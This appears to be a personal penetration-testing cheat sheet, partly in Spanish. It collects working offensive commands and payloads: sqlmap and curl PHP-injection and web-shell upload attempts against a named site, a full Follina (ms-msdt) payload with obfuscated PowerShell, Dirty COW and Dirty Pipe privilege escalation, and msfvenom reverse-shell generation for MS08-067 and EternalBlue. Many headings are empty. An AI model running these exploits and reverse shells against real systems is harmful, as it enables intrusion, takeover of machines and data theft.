Hx.md
February 29 2024 10:29:42
24.105 KB



Hx

Nmap

Nmap ("Network Mapper") es una herramienta de código abierto para exploración de red y auditoría de seguridad.

Escaneo Básico

Escaneo de Puertos

Detección de Servicios y Versiones

Detección de Sistemas Operativos

Técnicas de Escaneo

Escaneo Agresivo

Evadir Firewalls/IDS

Salida y Guardado de Resultados

Uso de Scripts NSE

Revesing .NET

https://github.com/dnSpyEx/dnSpy

Algunos comandos de Windows

MySQL

mysql -h 127.0.0.1 -P 3306 -u root -p supersecretdb

FTP

SQLmap

Simple POST

sqlmap -u "https://recoindustrial.com/vuln.php" --data "parameter1=1¶meter2=2¶meter3=3" -p "parameter1,parameter2" --method POST

Simple GET

sqlmap -u "https://recoindustrial.com/vuln.php" -p "a,b"

SQLmap crawl

sqlmap -u "https://recoindustrial.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

cURL

Ver Ip publica

curl ifconfig.co

Agregar Custom UserAgent

curl -A 'Mozilla/5.0 (ZOMBIE:REX)'

Buscar si un sitio contiene la palabra Hola

curl -v --silent https://recoindustrial.com 2>&1 | grep `Hola`

Usar proxy

curl -x GET mysite.com --proxy yourproxy:port

POST con parametros

curl -X POST -F 'name=Hello' -F 'email=hello@world.com' https://recoindustrial.com/post.php

POST que intenta inyectar codigo

curl -X POST --data "<?php echo 'p4y10ad' ?>" "https://recoindustrial.com/index.php?page=php://input%00" -k -v

Upload con parametros

curl -F pass=rex -F usr=rex -F myfile=@/home/pwn.php http://recoindustrial.com/upload.php

Nmap

https://github.com/nmap

Uso simple:

nmap 192.168.0.0/24or nmap -F 10.80.0.0/24

Scan sin puertos:

nmap -sn 192.168.0.0/24

Scan sin ping:

nmap -Pn 192.168.0.0/24

Scan y guardar en archivo ip:

nmap -sn -oG - 192.168.0.0/24 | grep -Eo "[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}" | sort | uniq > ipscan.txt

Scan ports

nmap -sV -p 21,443 192.168.0.1

Scan all ports from ip

nmap -p- 192.168.0.1

Scan for operative system id

nmap -O 192.168.0.1

Nmap script vulnerable:

nmap -Pn -sV --script=vulners 192.168.0.1

Nmap script Vulscan:

nmap -sV --script=scipag_vulscan/vulscan.nse 192.168.0.1

NSE github

http-enum.nse

nmap -n -p80 --script http-enum 192.168.0.1

http-wordpress-enum.nse

nmap -n -p80 --script http-wordpress-enum 192.168.0.1

Scan via DNS:

nmap --dns-servers 8.8.4.4,8.8.8.8 -sL 192.168.0.0/24

TOR

Check if TOR is UP

Make request

grep

Find urls in file

cat Hx.md | grep -Eo "(http|https)://[a-zA-Z0-9./?=_%:-]*" | sort -u

Find *something.php inside file:

cat Hx.md | grep -oP '[a-zA-Z0-9./?=_%:-]*\.md' $1 | sort -u

Find emails in file.tx and sends it to e.txt a@b.com

cat Hx.md | grep -Eiorh '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})' "$@" * | sort | uniq > dummy.md

Show diferent file types and count

find . -type f | egrep -i -E -o "\.{1}\w*$" | sort | uniq -c

Check for certain files by filetype

find . -type f -name "*.md"

Find recursively file link inside the files in folders

grep -inr "[a-zA-Z0-9./?=_%:-]*\.md" --include \*.md ./

Regular expresions

Fuzz

https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/big-list-of-naughty-strings.txt#L111-L115

alt+64 = @

alt+39 = ‘

alt+168 = ¿

alt+63= ?

No-Break Space

Exploits

Common CVE's amd Exploits Add folina, eternal.blue, dirty cow

Windows RCE

https://github.com/cryp2cat/pocs/tree/main/CVE-2022-30190

Unzip word document

edit the doc/word/_rels/document.xml.rels

<Relationship Id="rId996" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://127.0.0.1:8000/index.html!" TargetMode="External"/>

Change the Target reference 127.0.0.1 to server hosting payload

Payload open notepad:

<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'bm90ZXBhZC5leGU='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\\"";//longstringfornottriggeringpassword \n</script>

MS Offic RCE aka msdt follina

Linux priviledge escalation

Linux Privilege Escalation - Linux Kernel 5.8 < 5.16.11

A.Ahmed A collection of exploits and documentation for penetration testers and red teamers that can be used to aid the exploitation of the Linux Dirty Pipe vulnerability.

Hijacks a SUID binary to spawn a root shell

find / -perm -4000 2>/dev/null
./exploit /usr/bin/sudo

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

FireFart This exploit uses the pokemon exploit of the dirtycow vulnerability as a base and automatically generates a new passwd line.

gcc -pthread dirty.c -o dirty -lcrypt

./dirty my-new-password

mv /tmp/passwd.bak /etc/passwd

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Android exampleThis repository demonstrates the vulnerability on vulnerable Android devices attached via ADB. It does not disable SELinux or install superuser on the device.

Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04)

Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)

Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8

Windows privilege escalation

Check the vulnerability with the following nmap script.

Exploit:

nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms08-067 <ip_netblock>

exploit/windows/smb/ms08_067_netapi

https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows

Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445
Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)
Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal
Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English
Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)
Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)
Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)
python ms08-067.py 10.0.0.1 6 445

Microsoft Windows NT/2000/2003/2008/XP/Vista/7 User Mode to Ring Escalation (MS10-015)

https://www.exploit-db.com/exploits/11199

exploit/windows/local/ms10_015_kitrap0d

Microsoft Windows XP/2003

Python: https://www.exploit-db.com/exploits/18176
Metasploit: exploit/windows/local/ms11_080_afdjoinleaf

Microsoft Windows 2003/2008/7/8/2012

printf("[#] usage: ms15-051 command \n");
printf("[#] eg: ms15-051 \"whoami /all\" \n");

# x32
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/Win32/ms15-051.exe

# x64
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051
use exploit/windows/local/ms15_051_client_copy_image

Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)

#Check if the patch is installed :
wmic qfe list | findstr "3139914"

#Powershell:
https://www.exploit-db.com/exploits/39719/
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1

Binary exe : https://github.com/Meatballs1/ms16-032

Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc

Check and exploit:

crackmapexec smb 10.10.10.10 -u '' -p '' -d domain -M ms17-010.

nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17–010 <ip_netblock>

Metasploit modules to exploit

EternalRomance/EternalSynergy/EternalChampion
auxiliary/admin/smb/ms17_010_command          MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
auxiliary/scanner/smb/smb_ms17_010            MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue      MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
exploit/windows/smb/ms17_010_psexec           MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

If you can't use Metasploit and only want a reverse shell.

git clone https://github.com/helviojunior/MS17-010

# generate a simple reverse shell to use
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o revshell.exe
python2 send_and_execute.py 10.0.0.1 revshell.exe

Windows 7, Windows 10 LTSC 10240

Exploit : https://packetstormsecurity.com/files/14437/hhupd.exe.html

Detailed information about the vulnerability :
https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege

Windows:

Linux:

Compiling

SSH Copy

Copy something from another system to this system:

Copy something from this system to some other system:

Copy something from some system to some other system:

Shells

Metasploit:

https://docs.metasploit.com/

hWeb info

Google Hacking Database

Web Dork list

SqlMap

PayloadsAllTheThings

Reverse shells

File uploads

PHP insecure

PHP insecure 2

Tools & stuff

Motorola root

Moto g6

Install burp certificate for proxy server